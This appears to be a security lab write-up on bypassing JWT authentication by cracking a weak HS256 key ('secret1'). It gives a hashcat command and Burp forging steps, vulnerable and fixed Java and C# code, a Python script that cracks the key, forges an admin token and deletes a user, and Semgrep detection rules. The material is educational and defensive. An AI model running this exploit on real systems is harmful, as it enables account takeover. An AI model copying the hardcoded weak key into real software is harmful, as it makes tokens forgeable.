Lab 03: JWT authentication bypass via weak signing key
1. Executive Summary
Vulnerability: Weak Cryptographic Key (Brute-Forceable HMAC).
Description: The application signs JSON Web Tokens (JWT) using the HS256 algorithm (HMAC + SHA-256). This algorithm requires a secret key. The application uses a trivial secret (“secret1”) that can be guessed using a dictionary attack. Once an attacker recovers this secret, they can sign their own arbitrary tokens, effectively granting themselves full administrative privileges.
Impact: Full Account Takeover. An attacker can forge tokens for any user, bypass all access controls, and perform administrative actions.
2. The Attack
Objective: Recover the server’s secret key offline, then use it to mint a valid admin token.
- Reconnaissance (Capture):
- I logged in as
wiener. - I captured the
sessioncookie (JWT) from a request to/my-account. - I saved the token to a file named
jwt.txt.
- I logged in as
- Cracking (Brute-Force):
- I used Hashcat, a password recovery tool, to attack the signature.
- Command:
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txta 0: Straight dictionary attack.m 16500: The specific mode for JWT (JSON Web Token).
- Result: Hashcat cracked the signature instantly:
Status: Cracked. The secret key wassecret1.
- Forging (Signing):
- I went to Burp Suite JWT Editor Keys tab.
- I created a New Symmetric Key.
- I clicked “Generate” to create the JWK structure, then replaced the
kvalue with the Base64-encoded version ofsecret1(c2VjcmV0MQ==). - I went back to Repeater, modified the token payload:
sub: "administrator". - I clicked Sign at the bottom, selected my new key, and sent the request.
- Result: The server accepted the signature. I accessed the admin panel and deleted
carlos.
3. Code Review
This section analyzes why the backend code is flawed.
Vulnerability Analysis (Explanation):
The flaw is not in the library itself, but in the configuration of the key. Developers often use simple strings for testing and forget to rotate them to high-entropy values in production.
Java (Spring Boot / JJWT)
1
2
3
4
5
6
7
8
9
10
// VULNERABLE: Hardcoded, weak secret
String secret = "secret1";
public String createToken(String username) {
return Jwts.builder()
.setSubject(username)
// The security of this whole system rests on "secret1"
.signWith(SignatureAlgorithm.HS256, secret.getBytes())
.compact();
}
Technical Flow & Syntax Explanation:
secret.getBytes(): The application converts the string “secret1” into bytes to use as the HMAC key.- Entropy: The string “secret1” has extremely low entropy. An attacker can calculate the HMAC of the header+payload using every word in a dictionary until the output matches the token’s signature. This can be done at millions of attempts per second offline.
C# (ASP.NET Core)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public void ConfigureServices(IServiceCollection services)
{
// VULNERABLE: Weak key defined in code or config
var key = Encoding.ASCII.GetBytes("secret1");
services.AddAuthentication(...)
.AddJwtBearer(x =>
{
x.TokenValidationParameters = new TokenValidationParameters
{
ValidateIssuerSigningKey = true,
// The server validates against this known weak key
IssuerSigningKey = new SymmetricSecurityKey(key)
};
});
}
Technical Flow & Syntax Explanation:
SymmetricSecurityKey(key): This tells the middleware to verify incoming tokens using the provided byte array.TokenValidationParameters: While the validation logic (ValidateIssuerSigningKey = true) is technically correct, it is rendered useless by the weakness of the key itself. It is like locking a steel door with a plastic zip-tie.
Mock PR Comment
The JWT signing key is currently set to a hardcoded, weak string (secret1). This allows attackers to brute-force the key offline and forge admin tokens.
Recommendation:
- Switch to a high-entropy secret (at least 32 bytes/256 bits of random data).
- Store the secret in an environment variable or secrets manager (e.g., Vault), never in the source code.
- Consider using Asymmetric Keys (RS256) so the private key never needs to be shared.
4. The Fix
Explanation of the Fix:
We must ensure the key has enough entropy (randomness) to make brute-forcing mathematically impossible. For HS256, the key should be at least 256 bits (32 bytes).
Secure Java
1
2
3
4
5
6
7
8
9
10
// SECURE: Use a secure random key generator or load a long string from ENV
// Ideally, use a dedicated Key object, not a String
Key key = Keys.secretKeyFor(SignatureAlgorithm.HS256); // Generates a safe, random 256-bit key
public String createToken(String username) {
return Jwts.builder()
.setSubject(username)
.signWith(key) // Uses the strong key
.compact();
}
Secure C#
5. Automation
A Python script that performs a dictionary attack on the token (simulating Hashcat) and then forges the admin token.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3
import argparse
import requests
import jwt # pip install PyJWT
import sys
# A small embedded wordlist for the lab context
WORDLIST = ["password", "secret1", "secret", "123456", "supersecret"]
def crack_jwt(token, wordlist):
print("[*] Attempting to crack JWT signature...")
try:
# The header/payload are not encrypted, just encoded
header = jwt.get_unverified_header(token)
algorithm = header['alg']
for secret in wordlist:
try:
# Try to decode/verify with the candidate secret
jwt.decode(token, secret, algorithms=[algorithm], options={"verify_exp": False})
print(f"[+] Secret Found: {secret}")
return secret
except jwt.InvalidSignatureError:
continue
except Exception as e:
# Sometimes padding errors occur with bad secrets
continue
except Exception as e:
print(f"[-] Error parsing token: {e}")
print("[-] Failed to crack token with provided wordlist.")
return None
def exploit_weak_key(url, username, password):
s = requests.Session()
login_url = f"{url.rstrip('/')}/login"
# 1. Login to get the weak token
print(f"[*] Logging in as {username}...")
s.post(login_url, data={'username': username, 'password': password})
token = s.cookies.get('session')
if not token:
print("[-] No session cookie found.")
return
# 2. Crack the Secret
secret = crack_jwt(token, WORDLIST)
if not secret:
return
# 3. Forge Admin Token
print("[*] Forging Admin Token...")
decoded = jwt.decode(token, options={"verify_signature": False})
decoded['sub'] = 'administrator'
# Sign with the recovered secret
forged_token = jwt.encode(decoded, secret, algorithm='HS256')
# 4. Attack
print("[*] Accessing Admin Panel...")
s.cookies.set('session', forged_token)
resp = s.get(f"{url.rstrip('/')}/admin")
if "Admin panel" in resp.text:
print("[!!!] SUCCESS: Admin panel accessed.")
# Delete Carlos
delete_url = f"{url.rstrip('/')}/admin/delete?username=carlos"
s.get(delete_url)
print("[+] Carlos deleted.")
else:
print(f"[-] Failed. Status: {resp.status_code}")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("url", help="Lab URL")
ap.add_argument("username", help="Your username (wiener)")
ap.add_argument("password", help="Your password (peter)")
args = ap.parse_args()
exploit_weak_key(args.url, args.username, args.password)
if __name__ == "__main__":
main()
6. Static Analysis (Semgrep)
Java Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
rules:
- id: java-jwt-weak-symmetric-key
languages: [java]
message: "Potential weak JWT key detected (hardcoded or short)."
severity: WARNING
patterns:
- pattern-either:
- pattern: .signWith(SignatureAlgorithm.HS256, "$KEY".getBytes())
- pattern: |
String $KEY = "...";
...
.signWith(SignatureAlgorithm.HS256, $KEY.getBytes())
# Note: Hard to detect length statically unless it's a literal string
Technical Flow & Syntax Explanation:
.signWith(..., "$KEY".getBytes()): Detects cases where the key is provided as a string literal directly in the signing method.String $KEY = "...": Detects cases where the key is defined as a local variable with a string literal value before being used. This usually indicates a hardcoded secret in the codebase.
C# Rule
1
2
3
4
5
6
7
rules:
- id: csharp-jwt-hardcoded-secret
languages: [csharp]
message: "Hardcoded symmetric key detected."
severity: WARNING
patterns:
- pattern: new SymmetricSecurityKey(Encoding.$ENC.GetBytes("..."))
Technical Flow & Syntax Explanation:
GetBytes("..."): Look for string literals inside the byte conversion. If a developer types the secret directly into the code (e.g.,GetBytes("supersecret")), this rule flags it as a high-risk security issue.
